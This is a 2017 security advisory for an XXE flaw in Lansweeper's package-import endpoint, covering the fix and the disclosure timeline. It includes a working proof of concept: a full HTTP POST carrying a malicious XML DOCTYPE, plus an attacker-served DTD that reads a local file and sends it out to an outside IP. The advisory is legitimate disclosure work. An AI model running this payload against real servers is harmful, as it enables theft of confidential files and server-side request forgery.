=============================================
- Release date: October 06th, 2017
- Discovered by: BarkA+-n KA+-lA+-ASS, Mehmet Dursun Adegnce

- Severity: High
=============================================

I. VULNERABILITY
-------------------------

Lansweeper XXE vulnerability.


II. INTRODUCTION
-------------------------

Lansweeper an Asset Management and Network Inventory Tool  (v6.0.100.29 and
probably all previous versions) is affected by a XXE vulnerability.


III. DESCRIPTION
-------------------------

1) XML eXternel Entity Injection

An XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML input
containing a reference to an external entity is processed by a weakly
configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing


A* URL: hostname/deployment/DeploymentActions.aspx?action=importPackage
A* Method: POST


POC (proof of concept)

The vulnerability can be trigged via a POST request as shown in the
following PoC's.

POST /deployment/DeploymentActions.aspx?action=importPackage HTTP/1.1
Host: 192.168.179.134:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.179.134:81/deployment/
Cookie: ASP.NET_SessionId=i05i2enzicanyusmf5inmawr; UserSettings=language=1; custauth=username=admin&userdomain=admin
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------141141110614240761271519111282
Content-Length: 390

-----------------------------141141110614240761271519111282
Content-Disposition: form-data; name="XML"; filename="test.xml"
Content-Type: text/xml

A-A>>A?<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://192.168.179.128:81/test.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

-----------------------------141141110614240761271519111282


As an attacker a web server should be prepared and should be serving a file containing:

cat test.dtd 
<!ENTITY % data SYSTEM "file:///C:\Program Files (x86)\Lansweeper\test.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ahttp://192.168.179.128/?%data;'>">



IV. BUSINESS IMPACT
-------------------------

An attacker could reach and disclose confidential data, cause denial of service, server side request forgery.


V. SYSTEMS AFFECTED
-------------------------

Version 6.0.100.29 is vulnerable (probably all previous versions)


VI. SOLUTION
-------------------------

Upgrade to version 6.0.100.67 or later.


VII. REFERENCES
-------------------------

lansweeper website:

https://www.lansweeper.com/
https://www.lansweeper.com/changelog.aspx   BUG: #572705


VIII. CREDITS
-------------------------

The vulnerability has been discovered by:

BarkA+-n KA+-lA+-ASS barkin(at)barkin(dot)info
Mehmet Dursun Adegnce mehmet(at)mehmetince(dot)net


IX. ADVISORY TIMELINE
-------------------------

August 26th, 2017: Vulnerability identification
August 26th, 2017: CVE Requested
August 27th, 2017: CVE received - "CVE-2017-13706"
August 29th, 2017: First contact with vendor
August 29th, 2017: Vendor response; investigating
Sept 11th, 2017: Vendor says that the vulnerability will be fixed in the new
version
Oct 4th, 2017: Vulnerabilty fixed (Bug 572705). Reference:
https://www.lansweeper.com/changelog.aspx




X. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.